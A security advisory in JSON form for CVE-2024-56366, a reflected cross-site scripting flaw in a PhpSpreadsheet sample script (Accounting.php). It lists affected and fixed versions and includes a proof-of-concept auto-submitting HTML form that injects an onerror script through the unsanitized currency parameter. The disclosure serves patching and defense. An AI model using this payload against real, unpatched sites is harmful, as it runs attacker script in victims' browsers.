CVE-2024-56366: Phpoffice/phpspreadsheet Cross-Site Scripting Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c6fv-7vh8-2rhr",
  "modified" : "2025-03-06T18:20:22Z",
  "published" : "2025-01-03T17:06:23Z",
  "aliases" : [ "CVE-2024-56366" ],
  "summary" : "PhpSpreadsheet allows unauthorized Reflected XSS in the Accounting.php file",
  "details" : "# Unauthorized Reflected XSS in the `Accounting.php` file\n\n**Product**: Phpspreadsheet\n**Version**: version 3.6.0\n**CWE-ID**: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')\n**CVSS vector v.3.1**: 8.2 (AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N)\n**CVSS vector v.4.0**: 8.3 (AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L)\n**Description**: using the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` script, an attacker can perform a XSS-type attack\n**Impact**: executing arbitrary JavaScript code in the browser\n**Vulnerable component**: the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file\n**Exploitation conditions**: an unauthorized user\n**Mitigation**: sanitization of the currency variable\n**Researcher**: Aleksey Solovev (Positive Technologies)\n\n# Research\n\nThe researcher discovered zero-day vulnerability Unauthorized Reflected Cross-Site Scripting (XSS) (in `Accounting.php` file) in Phpspreadsheet.\n\nThere is no sanitization in the `/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php` file, which leads to the possibility of a XSS attack.\nStrings are formed using the currency parameter without sanitization, which is controlled by the attacker.\n\n![fig7](https://github.com/user-attachments/assets/da0ee52d-2306-4770-a61d-bce4ba553f4f)\n\n*Figure 7. A fragment of the query in which a string and a parameter are formed without sanitization*\n\nAn attacker can prepare a special HTML form that will be automatically sent to the vulnerable scenario.\n\n*Listing 4. HTML form that demonstrates the exploitation of the XSS vulnerability*\n\n```\n<html>\n  <!-- CSRF PoC - generated by Burp Suite Professional -->\n  <body>\n    <form action=\"https://192.***.***.***/vendor/phpoffice/phpspreadsheet/samples/Wizards/NumberFormat/Accounting.php\" method=\"POST\">\n      <input type=\"hidden\" name=\"number\" value=\"1234&#46;5678\" />\n      <input type=\"hidden\" name=\"currency\" value=\"&#36;&lt;img&#32;src&#61;1&#32;onerror&#61;alert&#40;&#41;&gt;\" />\n      <input type=\"hidden\" name=\"decimals\" value=\"2\" />\n      <input type=\"hidden\" name=\"position\" value=\"1\" />\n      <input type=\"hidden\" name=\"spacing\" value=\"0\" />\n      <input type=\"hidden\" name=\"submit\" value=\"Display&#32;Mask\" />\n      <input type=\"submit\" value=\"Submit request\" />\n    </form>\n    <script>\n      history.pushState('', '', '/');\n      document.forms[0].submit();\n    </script>\n  </body>\n</html>\n```\n\nAfter sending the script provided in Listing 4, the XSS vulnerability is exploited. Figure 8 shows the execution of arbitrary JavaScript code during the submission of a POST form.\n\n<img width=\"460\" alt=\"fig8\" src=\"https://github.com/user-attachments/assets/b009256e-61f7-4d72-8f6a-cc6e0efe2bb1\" />\n\n*Figure 8. Executing arbitrary JavaScript code*\n\n# Credit\nThis vulnerability was discovered by **Aleksey Solovev (Positive Technologies)**",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N"
  }, {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:H/VA:N/SC:L/SI:H/SA:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.7.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.29.7"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 1.29.6"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "2.1.6"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.1.5"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpspreadsheet"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.2.0"
      }, {
        "fixed" : "2.3.5"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.3.4"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpoffice/phpexcel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.8.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-c6fv-7vh8-2rhr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2024-56366"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet/commit/700a80346be269af668914172bc6f4521982d0b4"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/PHPOffice/PhpSpreadsheet"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-01-03T17:06:23Z",
    "nvd_published_at" : "2025-01-03T17:15:08Z"
  }
}